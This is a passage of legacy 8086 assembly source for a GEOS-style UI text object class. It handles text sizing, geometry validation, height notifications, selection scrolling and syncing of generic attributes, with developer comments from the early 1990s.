; ; Replace any passed CHOOSE_OWN_SIZE values with an initial value, ; if specified. ; call VisApplyInitialSizeArgs ; ; Next, calculate the width of the current text if it were to all ; be on one line. ; ; If the text empty? If so it does not take a genius to figure that ; the width is 0 ; push cx, dx ; save passed width, height clr bx mov di, ds:[di].VTI_text mov di, ds:[di] SBCS < cmp {char} ds:[di], 0 > DBCS < cmp {wchar} ds:[di], 0 > jz gotWidth ; clr cx ; all the text mov ax, MSG_VIS_TEXT_GET_ONE_LINE_WIDTH call ObjCallInstanceSaveBp mov bx, cx ; keep width in bx gotWidth: ; ; One more requirement, the width cannot be less than the text objects ; own minimum width. ; ; A HACK FOR SPEED -- Make the min width a constant ; mov cx, DEFAULT_TEXT_MIN_WIDTH if 0 mov ax, MSG_VIS_TEXT_GET_SIMPLE_MIN_WIDTH call ObjCallInstanceSaveBp ; returns min width in cx endif mov ax, bx ; text width in ax cmp ax, cx ; is the min width smaller? jae 30$ ; no, branch mov ax, cx ; else use the min width 30$: pop cx, dx ; ; ; ax holds minimum width to hold the text currently there. ; cx holds the passed width. ; ; If single line, can't go off ends, and passed a fixed size, ; we'll won't let the width get smaller than the width of the ; text. ; if GEN_VALUES_ARE_TEXT_ONLY call OLTextDerefVis test ds:[di].VTI_state, mask VTS_ONE_LINE else call OLTextDerefGen test ds:[di].GTXI_attrs, mask GTA_SINGLE_LINE_TEXT endif jz checkExpandWidth ; multi-line, won't do this push di ; all editable text allowed off ; end. -cbh 2/18/93 call OLTextDerefVis test ds:[di].OLTDI_specState, mask TDSS_EDITABLE pop di jnz checkExpandWidth if GEN_VALUES_ARE_TEXT_ONLY mov di, segment GenTextClass ; No GenText, assume GenValue mov es, di ; where text shouldn't be mov di, offset GenTextClass ; clipped. (?) call ObjIsObjectInClass jnc noTextOffEnd call OLTextDerefGen endif if CLIP_SINGLE_LINE_TEXT ; ; ALLOW_TEXT_OFF_END is the default for CLIP_SINGLE_LINE_TEXT ; jmp checkExpandWidth else test ds:[di].GTXI_attrs, mask GTA_ALLOW_TEXT_OFF_END jnz checkExpandWidth ; can have text off end, branch endif noTextOffEnd:: tst cx ; we can choose own width? js checkExpandWidth ; yes, branch cmp cx, ax ; else keep at least big enough jae checkExpandWidth ; to hold the text that's there mov cx, ax checkExpandWidth: ; ; If we cannot expand the text's width to fit parent, then ; we'll want to limit the width of the text object to the calc'ed ; size in non-editable text objects, and to an arbitrary default ; width in editable text objects. ; call OLTextDerefVis tst cx ; if passed desired js limitWidth ; js finishLimitWidth ; then we'll definitely use ; passed width (taking advantage ; of the largeness of this cx) test ds:[di].OLTDI_moreState, mask TDSS_EXPAND_WIDTH_TO_FIT_PARENT jnz limitWidthToDesired ; can expand, don't limit width ; to calc'ed value limitWidth: if GEN_VALUES_ARE_TEXT_ONLY call OLTextDerefVis test ds:[di].VTI_state, mask VTS_ONE_LINE else push di call OLTextDerefGen test ds:[di].GTXI_attrs, mask GTA_SINGLE_LINE_TEXT pop di endif jz limitWidthToDefault ; multi-line, must have been ; passed desired,will limit to ; default width test ds:[di].OLTDI_specState, mask TDSS_EDITABLE jz finishLimitWidth ; not editable, limit to ; calc'ed width ; Don't use calc'ed width, even if bigger than default width, when ; the text is editable and we're looking for some kind of minimum width. ; If there's lots of text in an expand-to-fit text editable text object, ; the size of the text will force the text object (and its win group) ; to be very wide, and the expand-to-fit attributes will prevent either ; from shrinking. -cbh 5/24/93 ; ; cmp ax, DEFAULT_TEXT_WIDTH ; calc'ed bigger than default? ; jae finishLimitWidth ; yes, don't use default limitWidthToDefault: mov ax, DEFAULT_TEXT_WIDTH ; else use a default call OpenCheckIfNarrow jnc finishLimitWidth mov ax, DEFAULT_NARROW_TEXT_WIDTH finishLimitWidth: cmp cx, ax ; use the smaller of the two jb limitWidthToDesired mov cx, ax limitWidthToDesired: call VisApplySizeArgsToWidth doHeight: ; ; Based on the width we've got, calculate how tall the text would ; need to be, and keep it in ax. ; push cx, dx ; save our running size mov dx, -1 ; cache the computed height mov ax, MSG_VIS_TEXT_CALC_HEIGHT call ObjCallInstanceSaveBp mov ax, dx ; keep calcHeight in ax pop cx, dx ; restore passed size if GEN_VALUES_ARE_TEXT_ONLY call OLTextDerefVis test ds:[di].VTI_state, mask VTS_ONE_LINE else call OLTextDerefGen test ds:[di].GTXI_attrs, mask GTA_SINGLE_LINE_TEXT endif jz 8$ ; multi-line, continue ; ; Expand height to fit, do the right thing. -cbh 1/21/93 ; tst dx ; passed desired height, use js 6$ ; calculated height. call OLTextDerefVis test ds:[di].OLTDI_moreState, mask TDSS_EXPAND_HEIGHT_TO_FIT_PARENT jz 6$ cmp dx, ax ; expanding, big passed height, jae 7$ ; use it 6$: mov dx, ax ; use computed height 7$: call VisApplySizeArgsToHeight ; apply size args, if any jmp short exit ; and get out. 8$: ; ; Keep the height of a line. We'll use it for various things. ; ; We can't do this, as MSG_VIS_TEXT_GET_LINE_HEIGHT should only be ; used for single-line objects (it returns a value that is larger ; than the line height of multi-line objects). We'll do something ; trickier instead, although we still lose if the text object has ; a non-integer line height. ; push cx, dx ; mov ax, MSG_VIS_TEXT_GET_LINE_HEIGHT ; call ObjCallInstanceSaveBp ; mov bx, dx ; pop cx, dx call GetTextObjectLineHeight ;BX <- pixel height ; ; Added so text that can't, or shouldn't be placed into a view can ; grow, no matter what. ; call OLTextDerefVis test ds:[di].OLTDI_moreState, mask TDSS_STAY_OUT_OF_VIEW jz 10$ ; not in gen content, branch mov dx, mask RSA_CHOOSE_OWN_SIZE ; else ignore passed height 10$: tst dx ; if passed desired js limitHeight ; then we'll definitely use ; calced height(taking advantage ; of the largeness of this dx) test ds:[di].OLTDI_moreState, mask TDSS_EXPAND_HEIGHT_TO_FIT_PARENT ; can expand, don't limit height jnz limitHeightToDesiredAndUseComputedIfLarger limitHeight: test ds:[di].OLTDI_specState, mask TDSS_EDITABLE jz limitHeight2 ; not editable, branch ; Skip all this if we have a HINT_MINIMUM_SIZE specified push ax, bx mov ax, HINT_MINIMUM_SIZE call ObjVarFindData pop ax, bx jc limitHeight2 push bx shl bx, 1 ; else 4 lines is a minimum shl bx, 1 CheckHack <DEFAULT_TEXT_HEIGHT eq 4> call OLTextDerefVis ; plus the margins, of course.. add bl, ds:[di].VTI_tbMargin adc bh, 0 add bl, ds:[di].VTI_tbMargin adc bh, 0 cmp bx, ax ; if larger than calc'ed size, jbe 20$ ; use it. mov ax, bx 20$: pop bx limitHeight2: cmp dx, ax ; use the smaller of the two jb limitHeightToDesired ; OK, branch mov dx, ax ; calc'ed height was smaller limitHeightToDesiredAndUseComputedIfLarger: cmp dx, ax jae limitHeightToDesired mov dx, ax ; use computed height limitHeightToDesired: call VisApplySizeArgsToHeight ; ; Let's take a moment to truncate our height to be a multiple of the ; line height. ; ; It's unclear why we do this, but Chris thinks that we might want to do ; this in case the user specified a bogus HINT_FIXED_SIZE or ; HINT_MINIMUM_SIZE - atw 12/29/94 mov ax, dx ; height in ax clr dx call OLTextDerefVis mov dl, ds:[di].VTI_tbMargin shl dx ; extra border in dx sub ax, dx ; subtract off border jns 101$ ; don't go below zero... clr ax 101$: push dx clr dx div bx ; divide by pixels per line ; HACK for non-berkeley fonts, until we figure out why MSG_GET_LINE_ ; HEIGHT ain't returning the same thing as MSG_CALC_HEIGHT... ; With my fix to no longer use MSG_VIS_TEXT_GET_LINE_HEIGHT (which only ; works on single line objects), this should no longer be necessary, ; but I'll leave it in, as I'm afraid to change anything else in this ; venerable old workhorse - atw 12/29/94 tst ax jnz 11$ ;Branch if at least one line hi inc ax ; make at least one line high 11$: mul bx ; then multiply again pop dx add dx, ax ; back in dx, adding borders exit: .leave ret OLTextRerecalcSize endm OLTextDerefVis proc near mov di, ds:[si] add di, ds:[di].Vis_offset ret OLTextDerefVis endp OLTextDerefGen proc near mov di, ds:[si] add di, ds:[di].Gen_offset ret OLTextDerefGen endp ObjCallInstanceSaveBp proc near push bp call ObjCallInstanceNoLock pop bp ret ObjCallInstanceSaveBp endp COMMENT @---------------------------------------------------------------------- METHOD: OLTextNotifyGeometryValid -- MSG_VIS_NOTIFY_GEOMETRY_VALID for OLTextClass DESCRIPTION: Notification of valid geometry. We'll take this moment to pop our text object into a view, if the text no longer fits in the area allocated. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_VIS_NOTIFY_GEOMETRY_VALID RETURN: nothing ALLOWED TO DESTROY: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 6/14/91 Initial version ------------------------------------------------------------------------------@ OLTextNotifyGeometryValid method dynamic OLTextClass, \ MSG_VIS_NOTIFY_GEOMETRY_VALID ; ; Before we call our superclass, set the GEOMETRY_ALREADY_VALID ; flag, so that if we get HEIGHT_NOTIFY while the superclass ; rebuilds line structures, we won't go into an infinte loop ; of geometry invalidations (see handler for HEIGHT_NOTIFY). ; - cct 12/27/95 ; EC < test ds:[di].OLTDI_moreState, mask TDSS_GEOMETRY_ALREADY_VALID > EC < ERROR_NZ OL_ERROR > ornf ds:[di].OLTDI_moreState, mask TDSS_GEOMETRY_ALREADY_VALID mov di, offset OLTextClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].Vis_offset ; ; reset the flag. ; andnf ds:[di].OLTDI_moreState, not mask TDSS_GEOMETRY_ALREADY_VALID ; ; If we've create a line structure (hopefully we have), we'll mark ; it ignore-dirty so it's not saved to state. The chunk is being ; left around in state once we shut down and our Vis part is destroyed. ; mov ax, ds:[di].VTI_lines tst ax jz 10$ mov bx, mask OCF_IGNORE_DIRTY call ObjSetFlags 10$: mov di, ds:[si] add di, ds:[di].Vis_offset ; If a one-line text object, already in a view, or is free to choose ; own size without being popped into view, then there's nothing more for ; us to do -- exit ; test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW or \ mask TDSS_GOING_INTO_VIEW jnz exit test ds:[di].VTI_state, mask VTS_ONE_LINE jnz exit test ds:[di].OLTDI_moreState, mask TDSS_STAY_OUT_OF_VIEW jnz exit EC < call ECCheckGenTextObject > mov di, ds:[si] add di, ds:[di].Gen_offset ; pop into a view if requested test ds:[di].GTXI_attrs, mask GTA_INIT_SCROLLING jnz forceIntoView ; ; ; Based on the width we've got, calculate how tall the text needs ; to be, and keep it in ax. ; call VisGetSize ; get width in cx push cx, dx ; save our running size clr dx ; can use cached values, I think mov ax, MSG_VIS_TEXT_CALC_HEIGHT call ObjCallInstanceSaveBp mov ax, dx ; keep calcHeight in ax pop cx, dx ; restore running size cmp dx, ax ; is our return height big ; enough to hold the text? jae exit ; yup, branch forceIntoView: ; ; OK, we're about to pop into a view. Stop to consider -- will the ; system actually let us do this? ; mov dx, offset GenViewClass mov cx, segment GenViewClass mov ax, MSG_GEN_GUP_TEST_FOR_OBJECT_OF_CLASS call ObjCallInstanceNoLock jc cannotBePoppedIntoView ; If below a GenView, NO. ; ; Not enough room to hold the text. Time to pop into a view. ; mov di, ds:[si] ; Say we're about to put this add di, ds:[di].Vis_offset ; in a view. or ds:[di].OLTDI_specState, mask TDSS_GOING_INTO_VIEW mov ax, MSG_OL_PLACE_IN_VIEW ; forceQueueMessageExit: mov bx, ds:LMBH_handle ; mov di,mask MF_FORCE_QUEUE or mask MF_INSERT_AT_FRONT call ObjMessage ; exit: ret cannotBePoppedIntoView: ; Set flag to indicate this object should be sized so as to always ; display all the text ; mov di, ds:[si] add di, ds:[di].Vis_offset ornf ds:[di].OLTDI_moreState, mask TDSS_STAY_OUT_OF_VIEW ; ; Now that we've set the flag so that geometry will be calculated ; correctly, redo geometry. We'll only need to do this the first ; time, as the above bit will take care of us later. ; mov ax, MSG_VIS_MARK_INVALID ; mov cl, mask VOF_GEOMETRY_INVALID ; mark the thing invalid mov dl, VUM_NOW ; jmp short forceQueueMessageExit ; do it! OLTextNotifyGeometryValid endm COMMENT @---------------------------------------------------------------------- ROUTINE: recalcSizeInView SYNOPSIS: Calc's a new size for text objects in a view. CALLED BY: OLTextRerecalcSize PASS: *ds:si -- handle cx, dx -- size args RETURN: cx, dx -- new size DESTROYED: bx, si, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 4/18/90 Initial version ------------------------------------------------------------------------------@ recalcSizeInView proc near ; ; Code added 6/ 9/92 cbh to keep very tiny (i.e. 0 width) sizing from ; blowing up the text object. ; mov ax, DEFAULT_TEXT_MIN_WIDTH cmp cx, ax ; is the passed width too small? jae 5$ ; no, branch mov cx, ax ; else use the min width 5$: push cx ; save width mov dx, -1 ; Cache the computed height. mov ax, MSG_VIS_TEXT_CALC_HEIGHT ; call ObjCallInstanceSaveBp ; pop cx ; restore width call VisFindParent ; get parent content in same blk mov di, ds:[si] ; point to instance add di, ds:[di].Vis_offset ; ds:[di] -- VisInstance cmp dx, ds:[di].VCNI_viewHeight ; see if smaller than view ht jae 10$ ; it's not, we're done mov dx, ds:[di].VCNI_viewHeight ; else size as big as view 10$: tst cx ; see if desired width passed jns exit ; no, branch mov cx, ds:[di].VCNI_viewWidth ; else start with content width exit: ret recalcSizeInView endp COMMENT @---------------------------------------------------------------------- METHOD: OLTextGetExtraSize -- MSG_SPEC_GET_EXTRA_SIZE for OLTextClass DESCRIPTION: Returns the extra size in the text object. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_SPEC_GET_EXTRA_SIZE RETURN: cx, dx - extra size DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: return lrMargin in cx return tbMargin + (lineSpacing * (numLines - 1)) in dx KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 11/ 7/89 Initial version ------------------------------------------------------------------------------@ OLTextGetExtraSize method dynamic OLTextClass, \ MSG_SPEC_GET_EXTRA_SIZE clr cx mov cl,ds:[di].VTI_lrMargin shl cx,1 clr dx mov dl,ds:[di].VTI_tbMargin shl dx,1 ret OLTextGetExtraSize endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextHeightNotify %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Invoked when the text object changes size. CALLED BY: via MSG_VIS_TEXT_HEIGHT_NOTIFY. PASS: ds:*si = instance ptr. es = class segment. ax = MSG_VIS_TEXT_HEIGHT_NOTIFY. dx = new height. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 10/13/89 Initial version cbh 5/15/91 Fixed for new bounds convention %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLTextHeightNotify method dynamic OLTextClass, MSG_VIS_TEXT_HEIGHT_NOTIFY EC < call ECCheckGenTextObject > ; If NOT in view, then see if we're heading there already. If so, ; then we don't need to do anything now, as it will be taken care ; of once we're in the view. ; test ds:[di].OLTDI_specState, mask TDSS_GOING_INTO_VIEW LONG jnz Done ; if going into view, no ; more work need be done here. mov di, ds:[si] ; add di, ds:[di].Gen_offset ; ds:di <- ptr to gen instance. test ds:[di].GTXI_attrs, mask GTA_SINGLE_LINE_TEXT LONG jnz Done ; single line text object, never ; recalculate! (3/15/93 cbh) test ds:[di].GTXI_attrs, mask GTA_ALLOW_TEXT_OFF_END LONG jnz Done ; if allowing text off end, size ; of text object will not change ; mov bx, ds:[si] ; add bx, ds:[bx].Vis_offset ; ds:bx <- ptr to vis instance. ; ; Get current visual height. mov ax, ds:[bx].VI_bounds.R_bottom ; ax <- visual height. sub ax, ds:[bx].VI_bounds.R_top ; mov bx, ds:[si] ; point to instance add bx, ds:[bx].Vis_offset ; ds:[di] -- SpecInstance test ds:[bx].OLTDI_specState, mask TDSS_IN_VIEW jz TDHN_NotInView ; branch if not in view. ; ; Special code for text in views. If the currently stored text height ; if smaller than the height of the view, we need only make sure that ; the height passed in here is smaller than or equal to the current ; height (we keep the text object expanded to the height of the view ; if it is smaller, so we can click anywhere in it.) If the currently ; stored text height is bigger than the height of the view, the height ; passed should match exactly. ; ; Changed 8/21/90 cbh: ; dx <- max (new height, view height) ; if dx <> ax, set new height to dx ; push si call VisFindParent ; get parent content in same blk mov di, ds:[si] ; point to instance pop si add di, ds:[di].Vis_offset ; ds:[di] -- VisInstance cmp dx, ds:[di].VCNI_viewHeight ; make sure at least view height jae 10$ ; mov dx, ds:[di].VCNI_viewHeight ; 10$: cmp dx, ax ; matches current height? je Done ; yes, nothing to do mov di, ds:[si] ;point to instance add di, ds:[di].Vis_offset ;ds:[di] -- VisInstance mov cx, ds:[di].VI_bounds.R_right sub cx, ds:[di].VI_bounds.R_left call VisSetSize ;resize ourselves call VisFindParent ;find content call VisSetSize ;resize the parent mov di, ds:[si] ;point to instance add di, ds:[di].Vis_offset ;ds:[di] -- SpecInstance mov si, ds:[di].VCNI_view.chunk tst si ;no window, get out jz Done mov bx, ds:[di].VCNI_view.handle clr di ;don't sweat ds fix-up call GenViewSetSimpleBounds jmp short Done TDHN_NotInView: cmp dx, ax ; see if text fits EXACTLY je Done ; jne TDHN_redo ; TDHN_JustHasToFit: ; cmp dx, ax ; see if text fits jbe Done ; If it fits, then no action ; needs to be taken. TDHN_redo: ; ; ; Has object been specifically built yet? ; if not, skip invalidation & update, we're not in a legal tree yet. ; User is just setting text while not visible. ; call VisCheckIfSpecBuilt jnc Done ; if not visbuilt, then done call OLTextDerefVis test ds:[di].OLTDI_moreState, mask TDSS_GEOMETRY_ALREADY_VALID jnz Done ; if currently handling ; geometry_valid, no more ; work need be done here. ; ; Mark geometry invalid, so that we can resize text box to be bigger, ; or force the text object into a view. (That decision may only ; be made by RecalcSize for text object) ; ; mov dl, VUM_NOW ; put this off until later... mov cl, mask VOF_GEOMETRY_INVALID ; mov ax, MSG_VIS_MARK_INVALID ; mov bx, ds:[LMBH_handle] mov di, mask MF_FORCE_QUEUE ; call ObjMessage ; Done: ret ; OLTextHeightNotify endm COMMENT @---------------------------------------------------------------------- METHOD: OLTextMkrPos -- MSG_GET_FIRST_MKR_POS for OLTextClass DESCRIPTION: Returns starting position of the text. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_GET_FIRST_MKR_POS RETURN: ax, cx - position of the text DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 10/31/89 Initial version ------------------------------------------------------------------------------@ OLTextMkrPos method dynamic OLTextClass, MSG_GET_FIRST_MKR_POS mov ax, ds:[di].VI_bounds.R_left ;get left mov cx, ds:[di].VI_bounds.R_top ;get top add al, ds:[di].VTI_lrMargin adc ah, 0 add cl, ds:[di].VTI_tbMargin adc ch, 0 ; mov bp, ds:[di].VTI_height.WBF_int ;get text height ; sub bp, 2 ;some magical amount, who knows. ; ; Adjust for font size, if necessary, so baselines have a change of ; lining up. -cbh 12/ 1/92 (Can't get it to work. Need to search ; for baseline in system and text font, i.e. the hard way.) ; ; mov dx, segment specDisplayScheme ; mov ds, dx ; mov dx, ds:[specDisplayScheme.DS_pointSize] ; sub cx, dx ;add difference to height ; add cx, bp exit: stc ret OLTextMkrPos endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextShowSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If in a view, make sure that the selection is scrolled on screen. If a single line object, invoke a method in the vis instance to scroll the selection on screen horizontally. CALLED BY: via MSG_VIS_TEXT_SHOW_SELECTION. PASS: ds:*si = instance ptr. es = class segment. ss:bp = VisTextShowSelectionArgs RETURN: nothing DESTROYED: bx, si, di, ds, es PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cbh 10/13/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLTextShowSelection method dynamic OLTextClass, \ MSG_VIS_TEXT_SHOW_SELECTION EC < call ECCheckGenTextObject > add bx, ds:[bx].Gen_offset ;ds:[bx] -- GenInstance ; test ds:[bx].GTXI_attrs, mask GTA_DONT_SCROLL_TO_CHANGES jnz exit ;user doesn't want to, exit test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW jz notInView ;skip if not in view test ss:[bp].VTSSA_flags, mask VTSSF_DRAGGING ;if dragging, exit (handled by jnz exit ; port window) mov si, ds:[di].OLTDI_viewObj ;get handle of view object mov ax, MSG_GEN_VIEW_MAKE_RECT_VISIBLE GOTO ObjCallInstanceNoLock notInView: ; ; Not in a view, check to see if it is a one line edit object. ; if it is, then we can handle scrolling. ; test ds:[di].VTI_state, mask VTS_ONE_LINE jz callSuper ; quit if not one line. ; ; It is a one line object. ; mov ax, MSG_VIS_TEXT_SCROLL_ONE_LINE GOTO ObjCallInstanceNoLock callSuper: mov di, offset OLTextClass GOTO ObjCallSuperNoLock exit: ret OLTextShowSelection endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextNormalizePosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Normalizes a position to be used for scrolling. The idea is to make sure whole lines get scrolled on or off. CALLED BY: PASS: ds:*si = instance ptr. es = class segment. ax = MSG_META_CONTENT_TRACK_SCROLLING ss:bp = TrackScrollingParams dx - size TrackScrollingParams cx - chunk handle of subview window RETURN: nothing DESTROYED: bx, si, di, ds, es PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cbh 10/13/89 Initial version jcw 19-Dec-89 Changed to work with new text object. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLTextNormalizePosition method dynamic OLTextClass, \ MSG_META_CONTENT_TRACK_SCROLLING ; ; For now we only bother to normalize the scroll in the vertical ; direction. For horizontal scrolling we just use the values ; passed in. ; call GenSetupTrackingArgs ; set up all the arguments mov bl, ss:[bp].TSP_action cmp bl, SA_INITIAL_POS je OLTDNP_return ; no normalizing on initial pos cmp bl, SA_SCROLL_INTO je OLTDNP_return ; no normalize on scroll-into cmp bl, SA_SCROLL je OLTDNP_return ; no normalize on scroll-into cmp bl, SA_DRAG_SCROLL je OLTDNP_return ; no normalize on scroll-into test ss:[bp].TSP_flags, mask SF_VERTICAL ; see if vertical jz OLTDNP_return ; no, no change necessary ; ; We are scrolling vertically. ; push cx ; Save scrollbar chunk handle. mov ax, MSG_VIS_TEXT_GET_SCROLL_AMOUNT ; call ObjCallInstanceNoLock ; dx <- amount to scroll. pop cx ; Restore scrollbar chunk. mov ss:[bp].TSP_change.PD_y.low, dx ; return scroll amount tst dx ; sign extend to dword jns OLTDNP_return mov ss:[bp].TSP_change.PD_y.high, -1 OLTDNP_return: ; call GenReturnTrackingArgs ; return arguments ret ; OLTextNormalizePosition endm COMMENT @---------------------------------------------------------------------- METHOD: OLTextUpdateGeneric -- MSG_VIS_TEXT_UPDATE_GENERIC for OLTextClass DESCRIPTION: Update the generic instance data PASS: *ds:si - instance data es - segment of OLTextClass ax - The method RETURN: none DESTROYED: bx, si, di, ds, es (method handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/89 Initial version ------------------------------------------------------------------------------@ OLTextUpdateGeneric method dynamic OLTextClass, MSG_VIS_TEXT_UPDATE_GENERIC EC < call ECCheckGenTextObject > call ObjMarkDirty add bx, ds:[bx].Gen_offset ; ds:di = vis ; ds:bx = gen mov ax, ds:[di].VTI_maxLength mov ds:[bx].GTXI_maxLength, ax mov ax, ds:[di].VTI_text mov ds:[bx].GTXI_text, ax ; deal with char attr runs call TextUpdateCharParaAttrs ; copy vardata stuff if it exists mov ax, ATTR_VIS_TEXT_TYPE_RUNS mov di, ATTR_GEN_TEXT_TYPE_RUNS call copyVarData mov ax, ATTR_VIS_TEXT_GRAPHIC_RUNS mov di, ATTR_GEN_TEXT_GRAPHIC_RUNS call copyVarData mov ax, ATTR_VIS_TEXT_STYLE_ARRAY mov di, ATTR_GEN_TEXT_STYLE_ARRAY call copyVarData mov ax, ATTR_VIS_TEXT_NAME_ARRAY mov di, ATTR_GEN_TEXT_NAME_ARRAY call copyVarData mov ax, ATTR_VIS_TEXT_EXTENDED_FILTER mov di, ATTR_GEN_TEXT_EXTENDED_FILTER call copyVarData mov ax, ATTR_VIS_TEXT_DO_NOT_INTERACT_WITH_SEARCH_CONTROL mov di, ATTR_GEN_TEXT_DO_NOT_INTERACT_WITH_SEARCH_CONTROL call copyVarData ret copyVarData: call ObjVarFindData jnc doesNotExist mov dx, ds:[bx] mov cx, size word mov_tr ax, di call ObjVarAddData mov ds:[bx], dx doesNotExist: retn OLTextUpdateGeneric endm COMMENT @---------------------------------------------------------------------- ROUTINE: TextUpdateCharParaAttrs SYNOPSIS: Updates generic versions of the para attrs. CALLED BY: OLTextUpdateGeneric PASS: *ds:si -- text ds:di -- Vis instance ds:bx -- Gen instance RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 7/28/92 Initial version ------------------------------------------------------------------------------@ TextUpdateCharParaAttrs proc near ; ; First, do char attrs. ; EC < call ECCheckGenTextObject > clr bp ;assume no special hints. test ds:[di].VTI_storageFlags, mask VTSF_DEFAULT_CHAR_ATTR jz notDefault cmp ds:[di].VTI_charAttrRuns, VIS_TEXT_INITIAL_CHAR_ATTR je setCharAttrHints ;same as default, done. mov bp, ATTR_GEN_TEXT_DEFAULT_CHAR_ATTR jmp short setCharAttrHints notDefault: mov bp, ATTR_GEN_TEXT_CHAR_ATTR test ds:[di].VTI_storageFlags, mask VTSF_MULTIPLE_CHAR_ATTRS jz setCharAttrHints mov bp, ATTR_GEN_TEXT_MULTIPLE_CHAR_ATTR_RUNS setCharAttrHints: mov dx, ds:[di].VTI_charAttrRuns mov ax, ATTR_GEN_TEXT_DEFAULT_CHAR_ATTR call setOrClearHint mov ax, ATTR_GEN_TEXT_MULTIPLE_CHAR_ATTR_RUNS call setOrClearHint mov ax, ATTR_GEN_TEXT_CHAR_ATTR call setOrClearHint ; ; Now, do para attrs. ; clr bp ;assume no special hints. mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].VTI_storageFlags, mask VTSF_DEFAULT_PARA_ATTR jz notDefaultPara cmp ds:[di].VTI_paraAttrRuns, VIS_TEXT_INITIAL_PARA_ATTR je setParaAttrHints ;same as default, done. mov bp, ATTR_GEN_TEXT_DEFAULT_PARA_ATTR jmp short setParaAttrHints notDefaultPara: mov bp, ATTR_GEN_TEXT_PARA_ATTR test ds:[di].VTI_storageFlags, mask VTSF_MULTIPLE_PARA_ATTRS jz setParaAttrHints mov bp, ATTR_GEN_TEXT_MULTIPLE_PARA_ATTR_RUNS setParaAttrHints: mov dx, ds:[di].VTI_paraAttrRuns mov ax, ATTR_GEN_TEXT_DEFAULT_PARA_ATTR call setOrClearHint mov ax, ATTR_GEN_TEXT_MULTIPLE_PARA_ATTR_RUNS call setOrClearHint mov ax, ATTR_GEN_TEXT_PARA_ATTR call setOrClearHint ret setOrClearHint: ; ; Takes hint to set/clear in ax, hint we want set in bp. ; Hint data (if used) in dx. ; cmp ax, bp ;do we want this hint? je addHint ;yes, add call ObjVarDeleteData ;no nuke retn addHint: mov cx, size word or ax, mask VDF_SAVE_TO_STATE ;added 4/23/93 cbh call ObjVarAddData ;create a one-word hint mov {word} ds:[bx], dx ;store hint data retn TextUpdateCharParaAttrs endp LessUsedGeometry ends GadgetCommon segment resource COMMENT @---------------------------------------------------------------------- METHOD: OLTextKbdChar -- MSG_META_KBD_CHAR for OLTextClass DESCRIPTION: Pre-process keyboard input, looking for navigation stuff PASS: *ds:si - instance data es - segment of OLTextClass ax - The method cx = charValue dl = CharFlags CF_RELEASE - set if release CF_STATE - set if shift, ctrl, etc. CF_TEMP_ACCENT - set if accented char pending dh = ShiftState bp low = ToggleState (unused) bp high = scan code (unused) RETURN: none DESTROYED: bx, si, di, ds, es (method handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/89 Initial version ------------------------------------------------------------------------------@ OLTextKbdChar method OLTextClass, MSG_META_KBD_CHAR EC < call ECCheckGenTextObject > test ds:[di].OLTDI_specState, mask TDSS_EDITABLE jz navigate ;not editable, send up. ; ; For RUDY we will do the optimization after testing for ; C_ENTER.. because we don't want CF_RELEASE-ENTER to reach ; the text object if text is GTA_SINGLE_LINE_TEXT -- text ; object is keeping count of pressed keys. -- kho, 6/23/95 ; 